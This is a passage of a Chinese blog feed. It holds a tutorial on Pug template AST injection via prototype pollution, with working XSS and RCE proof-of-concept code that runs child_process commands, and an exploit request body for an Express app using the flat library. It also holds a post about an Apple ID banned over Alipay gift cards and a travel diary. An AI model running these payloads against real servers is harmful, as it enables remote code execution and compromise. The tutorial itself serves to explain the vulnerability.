  &amp;lt;h1&amp;gt;Hello, {{name}}!&amp;lt;/h1&amp;gt;
`;

// 编译模板
const compiledTemplate = handlebars.compile(template);

// 渲染模板
const data = { name: &apos;John&apos; };
const html = compiledTemplate(data);

console.log(html);

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pug&lt;/code&gt; 模版使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 安装Pug模块：npm install pug

// 引入Pug模块
const pug = require(&apos;pug&apos;);

// 定义模板
const template = `
  h1 Hello, {name}!
`;

// 编译模板
const compiledTemplate = pug.compile(template);

// 渲染模板
const data = { name: &apos;John&apos; };
const html = compiledTemplate(data);

console.log(html);

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;模版引擎的工作原理&lt;/p&gt;
&lt;p&gt;词法解析 -&amp;gt; 语法解析 -&amp;gt; 代码生成&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreicjmsqkgp4dphfifmsholucdmqytkor2txsb3rsskch5ikktfhmqa.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是在语法树处理的过程中，如果存在原型链污染，则可以随意修改AST树，进而影响生成的代码，最终达到RCE（远程代码执行）的目的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiesq72kyh4u6c5s5xsm6au6mvvd53gsfswzaoaubnuuspjfeveopi.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;pug template AST injection&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const pug = require(&apos;pug&apos;);

Object.prototype.block = {&quot;type&quot;:&quot;Text&quot;,&quot;val&quot;:`&amp;lt;script&amp;gt;alert(origin)&amp;lt;/script&amp;gt;`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: &apos;It works&apos;});

console.log(html); // &amp;lt;h1&amp;gt;It works&amp;lt;script&amp;gt;alert(origin)&amp;lt;/script&amp;gt;&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当执行到 &lt;code&gt;fn({msg: &apos;It works&apos;}); &lt;/code&gt; 这一步的时候，本质上是进入了一段函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(function anonymous(pug
) {
function template(locals) {var pug_html = &quot;&quot;, pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
    var locals_for_with = (locals || {});
    
    (function (msg) {
      ;pug_debug_line = 1;
pug_html = pug_html + &quot;\u003Ch1\u003E&quot;;
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? &quot;&quot; : pug_interp)) + &quot;\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E&quot;;
    }.call(this, &quot;msg&quot; in locals_for_with ?
        locals_for_with.msg :
        typeof msg !== &apos;undefined&apos; ? msg : undefined));
    ;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;AST Injection原理分析&lt;/p&gt;
&lt;p&gt;语法树结构&lt;/p&gt;
&lt;p&gt;pug 解析 &lt;code&gt;h1= msg&lt;/code&gt; ，生成的语法树结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;type&quot;:&quot;Block&quot;,
    &quot;nodes&quot;:[
        {
            &quot;type&quot;:&quot;Tag&quot;,
            &quot;name&quot;:&quot;h1&quot;,
            &quot;selfClosing&quot;:false,
            &quot;block&quot;:{
                &quot;type&quot;:&quot;Block&quot;,
                &quot;nodes&quot;:[
                    {
                        &quot;type&quot;:&quot;Code&quot;,
                        &quot;val&quot;:&quot;msg&quot;,
                        &quot;buffer&quot;:true,
                        &quot;mustEscape&quot;:true,
                        &quot;isInline&quot;:true,
                        &quot;line&quot;:1,
                        &quot;column&quot;:3
                    }
                ],
                &quot;line&quot;:1
            },
            &quot;attrs&quot;:[

            ],
            &quot;attributeBlocks&quot;:[

            ],
            &quot;isInline&quot;:false,
            &quot;line&quot;:1,
            &quot;column&quot;:1
        }
    ],
    &quot;line&quot;:0
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;语法树生成后，会调用 &lt;code&gt;walkAst&lt;/code&gt; 执行语法树的解析过程，依次对每个节点的类型进行判断，即如下代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function walkAST(ast, before, after, options){
	
	parents.unshift(ast);

    switch (ast.type) {
	    case &apos;NamedBlock&apos;:
	    case &apos;Block&apos;:
	      ast.nodes = walkAndMergeNodes(ast.nodes);
	      break;
	    case &apos;Case&apos;:
	    case &apos;Filter&apos;:
	    case &apos;Mixin&apos;:
	    case &apos;Tag&apos;:
	    case &apos;InterpolatedTag&apos;:
	    case &apos;When&apos;:
	    case &apos;Code&apos;:
	    case &apos;While&apos;:
	      if (ast.block) { // 注意这里
	        ast.block = walkAST(ast.block, before, after, options);
	      }
	      break;
	    case &apos;Text&apos;:
	      break;
	}
	parents.shift();

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;语法树执行顺序
以刚刚生成的语法树结构举例，解析顺序为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Block&lt;/li&gt;
&lt;li&gt;Tag&lt;/li&gt;
&lt;li&gt;Block&lt;/li&gt;
&lt;li&gt;Code&lt;/li&gt;
&lt;li&gt;…?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;注意第4步解析 &lt;code&gt;node.Type&lt;/code&gt;  为 &lt;code&gt;Code&lt;/code&gt; 类型，会执行如下代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	    case &apos;Code&apos;:
	    case &apos;While&apos;:
	      if (ast.block) { // 注意这里
	        ast.block = walkAST(ast.block, before, after, options);
	      }
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;判断 &lt;code&gt;ast.block&lt;/code&gt; 属性是否存在，此处的 &lt;code&gt;ast&lt;/code&gt; 即当前ast语法树的节点&lt;/li&gt;
&lt;li&gt;如果存在，继续递归解析 block&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;结合原型链污染&lt;/p&gt;
&lt;p&gt;如果某处存在原型链污染漏洞，使得&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Object.prototype.block = {&quot;type&quot;:&quot;Text&quot;,&quot;val&quot;:`&amp;lt;script&amp;gt;alert(origin)&amp;lt;/script&amp;gt;`};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么 &lt;code&gt;ast.block&lt;/code&gt; 就会访问到 &lt;code&gt;ast.__proto__.block&lt;/code&gt; ，即&lt;code&gt;Object.prototype.block&lt;/code&gt;  的属性&lt;/p&gt;
&lt;p&gt;此时代码输出结果，导致了XSS&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const pug = require(&apos;pug&apos;);

Object.prototype.block = {&quot;type&quot;:&quot;Text&quot;,&quot;val&quot;:`&amp;lt;script&amp;gt;alert(origin)&amp;lt;/script&amp;gt;`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: &apos;It works&apos;});

console.log(html); // &amp;lt;h1&amp;gt;It works&amp;lt;script&amp;gt;alert(origin)&amp;lt;/script&amp;gt;&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;RCE&lt;/p&gt;
&lt;p&gt;我们知道pug本质上是将一段代码，如 &lt;code&gt;h1 =msg&lt;/code&gt; 编译为一段js代码，背后其实就是生成语法树+ &lt;code&gt;new Function&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;因此如果能通过AST Injection插入节点，并使之成为代码，即可达到远程代码执行的目的。&lt;/p&gt;
&lt;p&gt;刚好pug中就有如下代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// /node_modules/pug-code-gen/index.js
  
if (debug &amp;amp;&amp;amp; node.debug !== false &amp;amp;&amp;amp; node.type !== &apos;Block&apos;) {  
    if (node.line) {  
        var js = &apos;;pug_debug_line = &apos; + node.line;  
        if (node.filename)  
            js += &apos;;pug_debug_filename = &apos; + stringify(node.filename);  
        this.buf.push(js + &apos;;&apos;);  
    }  
}  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么我们通过  AST Injection + Prototype Pollution 即可实现RCE&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const pug = require(&apos;pug&apos;);

Object.prototype.block = {&quot;type&quot;:&quot;Text&quot;,&quot;line&quot;:`console.log(process.mainModule.require(&apos;child_process&apos;).execSync(&apos;id&apos;).toString())`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: &apos;It works&apos;});

console.log(html);

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Attack example&lt;/p&gt;
&lt;p&gt;express 开发的web服务，其中一个CGI如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;router.post(&apos;/api/submit&apos;, (req, res) =&amp;gt; {
    const { song } = unflatten(req.body);

	if (song.name.includes(&apos;Not Polluting with the boys&apos;) || song.name.includes(&apos;ASTa la vista baby&apos;) || song.name.includes(&apos;The Galactic Rhymes&apos;) || song.name.includes(&apos;The Goose went wild&apos;)) {
		return res.json({
			&apos;response&apos;: pug.compile(&apos;span Hello {user}, thank you for letting us know!&apos;)({ user:&apos;guest&apos; })
		});
	} else {
		return res.json({
			&apos;response&apos;: &apos;Please provide us with the name of an existing song.&apos;
		});
	}
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本地跑起来后运行在1337端口：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiht6fdhtk26rthqlckh5j4qtjpiwodnln526whn54hpxorv5e7ndq.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;原型链污染&lt;/p&gt;
&lt;p&gt;注意到这一行代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { song } = unflatten(req.body);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;unflatten&lt;/code&gt; 这个库存在原型链污染&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var unflatten = require(&apos;flat&apos;).unflatten;
unflatten({ &apos;__proto__.polluted&apos;: true });
console.log(this.polluted); // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;AST Injection&lt;/p&gt;
&lt;p&gt;注意到这一行代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pug.compile(&apos;span Hello {user}, thank you for letting us know!&apos;)({ user:&apos;guest&apos; })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结合原型链污染，可以实现RCE&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
       &quot;song.name&quot;: &quot;The Goose went wild&quot;, 
        &quot;__proto__.block&quot;:{
            &quot;type&quot;:&quot;Text&quot;,
			&quot;line&quot;:&quot;process.mainModule.require(&apos;child_process&apos;).exec(&apos;/System/Applications/Calculator.app/Contents/MacOS/Calculator&apos;)&quot; // 可以执行任意命令
		}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参考
&lt;a href=&quot;https://blog.p6.is/AST-Injection/&quot;&gt;https://blog.p6.is/AST-Injection/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiengetvjnfvhyeod3du4dryavon4xeuaney32wk56opyh3fpbnhry.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>支付宝购买的礼品卡可能有问题，充值chatGPT plus的同学请小心！</title><link>https://rayepeng.net/posts/zhifubao-gift-card-problem/</link><guid isPermaLink="true">https://rayepeng.net/posts/zhifubao-gift-card-problem/</guid><pubDate>Thu, 01 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;支付宝购买的礼品卡可能有问题，充值chatGPT plus的同学请小心！&lt;/p&gt;
&lt;p&gt;TL，DR：首先承认这个有点标题党，不过我也确实被支付宝骗了，付出的代价就是用了很久的美区Apple账号被永久封禁，礼品卡中的钱无法退回，以及所有通过美区id下载的app均需要重新下载，无法更新。幸好该美区id绑定的服务不多，不然就凉凉了&lt;/p&gt;
&lt;p&gt;如果还想通过支付宝购买礼品卡充值chatGPT plus的同学慎之又慎，已经支付宝充值了礼品卡的同学后续再用礼品卡消费遇到问题一定不要去找客服，不然很有可能面临和我相同的经历，账号里剩余的钱能用掉最好，最好是建议重新注册美区Apple id，走官网买礼品卡的方式开通/续费&lt;/p&gt;
&lt;p&gt;账号被封经过&lt;/p&gt;
&lt;p&gt;首先解释下Apple的账号，可以分为两类，&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;一类是登录系统的账号，即设置界面你登录的账号，一般会选择国内的Apple id登录&lt;/li&gt;
&lt;li&gt;另一类是用于订阅、购买app的账号，即App Store登录的账号，同时Apple Music、Apple tv、Apple News、Apple Arcade等订阅服务也会共享App Store账号（也就是我此次被封的账号）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;第一次联系客服&lt;/p&gt;
&lt;p&gt;起因是我想消费下从支付宝充值的礼品卡余额，于是接收到了提示，付款不成功，让我联系客服&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeih7oyjbpkyytnnv3msiybfbhvwwjdwgpdohn3cg2xd4oey235ogay.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这时候联系客服，客服说帮你恢复了下，24小时之后尝试&lt;/p&gt;
&lt;p&gt;第二次联系客服&lt;/p&gt;
&lt;p&gt;后来到下午，我又看了下，发现这时候自己的账号已经被 &lt;code&gt;disabled&lt;/code&gt;了，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeifeuglidzd6dtpiqgqjpc66hqptwabez3fjy6u25ndlms2hbikmry.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再次找客服联系，客服说你的账号已经被封禁了，违反了如下条款，接着就发了我一个Apple的条款链接…&lt;/p&gt;
&lt;p&gt;我说那你告诉我到底违反了哪条？&lt;/p&gt;
&lt;p&gt;客服回复他看不到，事实上这个账号他的权限无法查询到。&lt;/p&gt;
&lt;p&gt;我继续追问那请你找有权限能查看的人来操作，&lt;code&gt;like advanced customer service&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;于是客服给我联系了高级客服，问了我所在地时区和手机号，接着等高级客服电话&lt;/p&gt;
&lt;p&gt;联系高级客服&lt;/p&gt;
&lt;p&gt;接电话的是个外国小哥，首先确定我能不能说英语/😂，听口音其实有点像印度小哥&lt;/p&gt;
&lt;p&gt;我首先还是很礼貌的，询问自己的Apple account 为什么会被 disabled&lt;/p&gt;
&lt;p&gt;然后客服说我帮你查下，wait 1~2 minutes&lt;/p&gt;
&lt;p&gt;结果查完后，客服一直说，&lt;code&gt;Unfortunately, xxxxxx, xxxxxxx, gift card&lt;/code&gt; （记不住了大概就这些）&lt;/p&gt;
&lt;p&gt;果然是礼品卡的问题，虽然有个单词我没听清。&lt;/p&gt;
&lt;p&gt;我后面argue了半天， &lt;code&gt;I didn&apos;t realize balabala&lt;/code&gt; ，结果回复就是不行…&lt;/p&gt;
&lt;p&gt;最后我索性直接问了 &lt;code&gt;lots of people have bought gift card from Ali Pay, You mean all of their account will be disabled?&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;客服回： &lt;code&gt; i can&apos;t answer the question..&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;后面我想再上升，询问有没有更高级的客服，客服说我帮你去找，让我等&lt;/p&gt;
&lt;p&gt;但是等了很久也没有回音，索性挂断了…&lt;/p&gt;
&lt;p&gt;支付宝的购买界面&lt;/p&gt;
&lt;p&gt;这时候我回头看支付宝的礼品卡购买界面时，发现人家早就明牌了，责任撇的一干二净…&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeie4pixdg6hn3tjwmg36pcjnu74l5zgxq37cnemz6c2mxk43aw2qv4.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后来发现 &lt;code&gt;v2ex&lt;/code&gt; 上早已有相关的讨论&lt;/p&gt;
&lt;p&gt;[https://www.v2ex.com/t/941721]&lt;/p&gt;
&lt;p&gt;也有一些相关帖子，底下的评论也有在说找客服账号被封的经历&lt;/p&gt;
&lt;p&gt;[https://v2ex.com/t/941327 ]
[https://www.v2ex.com/t/941147]&lt;/p&gt;
&lt;p&gt;为什么礼品卡会有问题？&lt;/p&gt;
&lt;p&gt;虽然很多人都说第三方购买礼品卡会有问题，balabala的，但是都没说清楚为什么会存在问题，于是问问了chatGPT，总结了下：&lt;/p&gt;
&lt;p&gt;信用卡被盗/欺诈 -&amp;gt; 被用于大量购买礼品卡 -&amp;gt; 第三方售卖 -&amp;gt; 被盗/欺诈行为被发现 -&amp;gt; 信用卡公司追查 -&amp;gt; 被非法购买的礼品卡会被冻结/作废&lt;/p&gt;
&lt;p&gt;我很好奇，难道信用卡公司能查的这么精细吗，每一笔钱的流向都一清二楚？&lt;/p&gt;
&lt;p&gt;chatGPT:
当信用卡被非法使用购买礼品卡时，信用卡公司和相关执法机构可能会尝试追踪这些非法交易。这可能包括查看交易记录、网络IP地址、电子设备信息等，以找到可能的线索。
然而，这个过程可能非常复杂，也可能有时无法追踪到犯罪者。而且，一旦这些礼品卡被使用或者销售给其他人，就更难追踪了。因此，虽然有可能追踪这些非法购买的礼品卡，但并不总是成功。&lt;/p&gt;
&lt;p&gt;如果不小心购买并消费了有问题的礼品卡，算违法吗？&lt;/p&gt;
&lt;p&gt;那如果购买的礼品卡有问题，在我不知情的情况下，算违法吗？&lt;/p&gt;
&lt;p&gt;chatGPT:
在大多数司法管辖区，只有在知道或有理由应该知道礼品卡是非法获取的情况下购买这些卡，才会构成违法行为。这被称为&quot;有罪意&quot;或&quot;有过错&quot;的购买。&lt;/p&gt;
&lt;p&gt;然而，即使你无意中购买了非法获取的礼品卡，你仍然可能会面临一些问题。首先，这些卡可能会被冻结或作废，这意味着你可能无法使用这些卡。其次，如果这些卡被冻结或作废，你可能很难或者无法从卖家那里得到退款。此外，如果执法机构在调查这种非法活动时发现你购买了这些卡，他们可能会联系你进行询问。&lt;/p&gt;
&lt;p&gt;因此，为了避免这些问题，最好的策略是只从苹果或者其官方授权的零售商处购买礼品卡。如果你不小心购买了非法获取的礼品卡，你应该立即向执法机构和信用卡公司报告这种情况，并尽可能提供有关卖家的信息。&lt;/p&gt;
&lt;p&gt;tips 一些经验&lt;/p&gt;
&lt;p&gt;Apple客服联系&lt;/p&gt;
&lt;p&gt;我搜索看到很多关于Apple Store问题解决的办法都是寻找客服，但是这些文章又有一个共同点，那就是不告诉你怎么去联系...&lt;/p&gt;
&lt;p&gt;AppStore搜索下载 &lt;code&gt;support&lt;/code&gt; 或者 支持 app（我系统为英文,，所以app名字为support）&lt;/p&gt;
&lt;p&gt;或者访问如下链接，跳转到App Store打开
[https://apps.apple.com/hk/app/apple-%E6%94%AF%E6%8F%B4/id1130498044]&lt;/p&gt;
&lt;p&gt;接下来在app界面中往下翻选择有App Store图标的按钮，直接输入你查询的问题，我一般是直接输入 &lt;code&gt;I can&apos;t pay&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigupvav6f2fi26howcxxjf4k2iz2skxg7rr5btnvt25wj5wcktbkm.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这时，就会有一个 &lt;code&gt;chat&lt;/code&gt;的按钮，点一下就能进入人工客服排队了（Apple的人工客服响应还是很快的）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiat2ucnk7wl5cqwfihmgwjt5gvy3xgt2tflbl55bqbtz5nbmtgipy.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;转高级客服&lt;/p&gt;
&lt;p&gt;上文联系到的客服还只是普通客服，很多时候权限不够，如果还想继续上升的话，告诉他你想联系 &lt;code&gt;senior advisor&lt;/code&gt;，告诉客服你在中国，手机号是 &lt;code&gt;(+86) xxxxx&lt;/code&gt; 即可，客服会和你预约时间的（一般久十几分钟之后），接下来就准备好全英文对话吧！&lt;/p&gt;
&lt;p&gt;官网如何购买Apple 礼品卡
既然吸取了血的教训，再也不从第三方渠道（支付宝、淘宝）购买礼品卡了，那么如何从官网购买礼品卡呢？&lt;/p&gt;
&lt;p&gt;访问：[https://www.apple.com/shop/gift-cards]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;选择金额，最后一个框是可以输入购买金额的&lt;/li&gt;
&lt;li&gt;发送人和接受人可以都填自己的同一个邮箱&lt;/li&gt;
&lt;li&gt;支付方式可以选择visa卡/虚拟信用卡/银联（不过我只尝试了虚拟信用卡成功了）&lt;/li&gt;
&lt;li&gt;一般十几分钟内，邮箱就能接收到兑换码，如图&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeia7lpl4mpkav3irzt5twqbaxxkoznyojvj7hjftsmi225wufhnuou.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;虚拟信用卡&lt;/p&gt;
&lt;p&gt;虽然我很早前就注册了depay账号，但是也没有开卡，更懒得去折腾充值usdt，结果没想到depay已经禁止注册开户了。&lt;/p&gt;
&lt;p&gt;但是同事亲测，depay的卡可以来绑定美区Apple id的payment，这样就可以绕开openAI的风控（当然如果Apple也风控的话，可以尝试去注册美区PayPal）&lt;/p&gt;
&lt;p&gt;虽然depay停止注册了，但是还有其他的虚拟信用卡可以代替，比如我尝试的nobepay，[https://www.nobepay.com/] 支持微信支付直接转账，不需要搞区块链之类的，但是有几个坑点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一次充值必须是500以上&lt;/li&gt;
&lt;li&gt;开一张卡的费用是1美刀&lt;/li&gt;
&lt;li&gt;退款贼麻烦&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本着人人为我，我为人人的思想，最开始尝试了一波，开了一张卡，但无法通过openAI的校验，尝试绑定Apple payment支付，也失败了...都计划着这点钱就洒洒水吧，结果过了没多久又可以绑定Apple payment了（估计是过了风控期吧）&lt;/p&gt;
&lt;p&gt;一点思考&lt;/p&gt;
&lt;p&gt;后面同我妈讨论这个事情，她第一反应是你不要被骗了，不要转账啥的。我开始还觉得她有点过分担心了，但是仔细一想，我所经历的这些步骤，中间其实存在很多的问题。哪一步有跟同事/朋友/家人联系过？在其他同事眼中你可能就是接了几个电话，操作了几下手机。
幸好我平常对于Apple的服务使用的比较多，相关流程也还算清楚。若是其中有不怀好意的人，故意诱导你，那我会不会为了解封自己的苹果账号而陷入电信诈骗呢，这样往下想着，惊出了一身冷汗，原来电信诈骗真的离我们不远。&lt;/p&gt;
&lt;p&gt;有几个教训吧，也分享下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;涉及到钱的事情一定不要嫌麻烦，没有一劳永逸的办法&lt;/li&gt;
&lt;li&gt;平台的权力真的太强了….数字时代，订阅时代，吾等小民瑟瑟发抖&lt;/li&gt;
&lt;li&gt;看别人的经验贴，底下的评论一定要细看，如果我很早看到那条评论的话…或许账号也不会封的那么快&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeidwooha3lqfprq2g3vv6j36u5buzn35xb7kot4tuep65h6lbvqho4.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报4 泰国、写信、阅读、Midjourney</title><link>https://rayepeng.net/posts/weekpost4/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost4/</guid><pubDate>Tue, 09 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报4 泰国、写信、阅读、Midjourney&lt;/p&gt;
&lt;p&gt;这里记录的是raye在2023年，4.26-5.7这段时间的记录与故事。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigxeskwfhbe7bf77jveb7k6rxt6gv33d2v5h7l7yxkeyswx6l33ai.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;封面图 via Midjourney&lt;/p&gt;
&lt;p&gt;已经有一大段时间没动笔写了，好多想法在脑海里盘旋，总得找个宣泄的出口。每当我想要记录的时候，总会因为各种原因耽搁，但等我真正落笔，时间早已冲刷掉了大半的记忆，只能让我费力地搜刮半天，写出一些零乱的词句，最后拼凑出来。后面计划修改一下思路，改为平常多多记录，最后只需要做总结润色的工作。&lt;/p&gt;
&lt;p&gt;泰国之旅&lt;/p&gt;
&lt;p&gt;4.26 飞曼谷，4.29飞普吉岛，5.4回深圳&lt;/p&gt;
&lt;p&gt;4.29日在曼谷飞往普吉的飞机上，无意中瞥到自己在地图上的定位，一是感慨自己在地球上的位置终于有了变化，二来会感觉到自己真的好渺小。“寄蜉蝣于天地，渺沧海之一粟”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiawvsnjdn6hwhigososnlp244nf7yy7pnzqumz74agwxw4ocdbjfe.png&quot; alt=&quot;Untitled 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去泰国的起因在之前的文章中有提到，当我在返程的飞机上重温《斑马》时，才知读万卷书，行万里路的这句话背后的分量：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreie7lwlgtj2u6kjbg6pdt3azukpqfsc223jjgdxpycrbmy5brnr6y4.jpeg&quot; alt=&quot;Untitled 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreif4ofh6gppjk66dwwi5kn2qaece6q5xfbx4fo2dwgov4af5hdkwgm.jpeg&quot; alt=&quot;Untitled 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreie2d2fcj2i2vspc2v2cfnoe5uesf6kt4mfxqichwufpfqnyxyt3nu.jpeg&quot; alt=&quot;Untitled 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreifoxp5fc7cyzbizt5b2kohtdx5fv2niiwtzdnjlxbpxblbszoiwey.jpeg&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;摩的、tutu车、芒果、辣椒、椰奶、热气，按摩店，傅真笔下的曼谷，若只停留在纸面的理解上，是无法真正读懂这些文字的。中学时代，常常有各种各样的阅读理解题，让我们体会作者的心境，亦或是联系实际作答。那个时候碍于生活阅历和情商，我无法理解老师或者标准层答案中那些模糊概念，依我看，语文课的教学，如果只限于课堂上老师口干舌燥，连篇累牍的讲解，那真无异于填鸭式教学。只有真正走进作者笔下的那个世界，才能体会其中所蕴含的感情。&lt;/p&gt;
&lt;p&gt;当我下飞机后坐在的士上，两旁的景物飞速掠过，我惊叹于曼谷的摩天大楼和深圳不遑上下，却也感叹曼谷的棚户区苍老破旧。&lt;/p&gt;
&lt;p&gt;考山路上的酒吧歌声震耳欲聋，当我们离开很远之后依然能听到传来的歌。&lt;/p&gt;
&lt;p&gt;我们穿行于错乱的街道中，时不时在狭窄的道路上避让来往的人，只为了品尝一口曼谷地道的船面&lt;/p&gt;
&lt;p&gt;不过，最令人印象深刻的，还是曼谷那拥挤的交通，和肆无忌惮的穿梭在车辆中的摩的与一骑绝尘的tutu车&lt;/p&gt;
&lt;p&gt;相反，泰国的特色按摩massage（马杀鸡）反倒不是让我很满意，基本每隔两天或者一天就会做一次，力道确实很大，有几次我实在是忍不住，疼的喊了出来。我很困惑为啥非要往硬的骨头上用力，有一种让我得了骨质疏松的错觉&lt;/p&gt;
&lt;p&gt;当然，红灯区也是少不了逛一逛的，著名的 nana plazz怎么能错过，不过顶多也就是绕了几圈，观赏下不知道是舞女还是人妖的曼妙身姿（不让拍照的）&lt;/p&gt;
&lt;p&gt;普吉岛的行程则并没有太多特色，逛夜市、出海、沙滩、日落、斯米兰群岛、丛林穿越，它更像是一个任何小岛都有的旅游项目，我们也是在淘宝或者飞猪上去寻找旅游团，跟着出游的。&lt;/p&gt;
&lt;p&gt;不过斯米兰群岛的景色着实让我惊讶，太美了！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreigjc7ryg6dipuzjhrgue6gbwqg4qdugqkcgqbwcfgvxroxrglx4ga.jpeg&quot; alt=&quot;Untitled 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreicp4fivsmrz6w3hxkwnc5ghngiimumetblfg3hqg5ho32dc2oucxy.jpeg&quot; alt=&quot;Untitled 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;写信&lt;/p&gt;
&lt;p&gt;我很早就报名参加了蓝信封这个公益活动，但是它的报名机制让我很想吐槽。报名之后需要预约观看直播，获得直播答题口令，回答30个选择题+2道开放题，通过审核后才能获得资格和小孩子们通信。我在这个环节就卡了很久，因为直播口令的选择是和你预约的直播场次相关，而预约这个操作经常性失败，导致我看了直播，但因为没有预约上看直播，所以直播口令不对….&lt;/p&gt;
&lt;p&gt;好在还是折腾了很久后通过了审核，也很开心的收到了一个小男孩的信，分享了自己的校园生活，也像我倾诉了月考不理想的苦恼。奈何我是在五一度假期间收到的来信，且必须要在7天内回复+满600字。于是在普吉岛的酒店，可以远眺大海的窗户边，我开始写回信，分享了自己的一些爱好，鼓励小男孩不要因为短暂的失败而苦恼，给了他一些我认为可可行的建议（毕竟我已经初中毕业好久了），也算是第一次在如此奇妙的环境中写下了第一封回信&lt;/p&gt;
&lt;p&gt;阅读&lt;/p&gt;
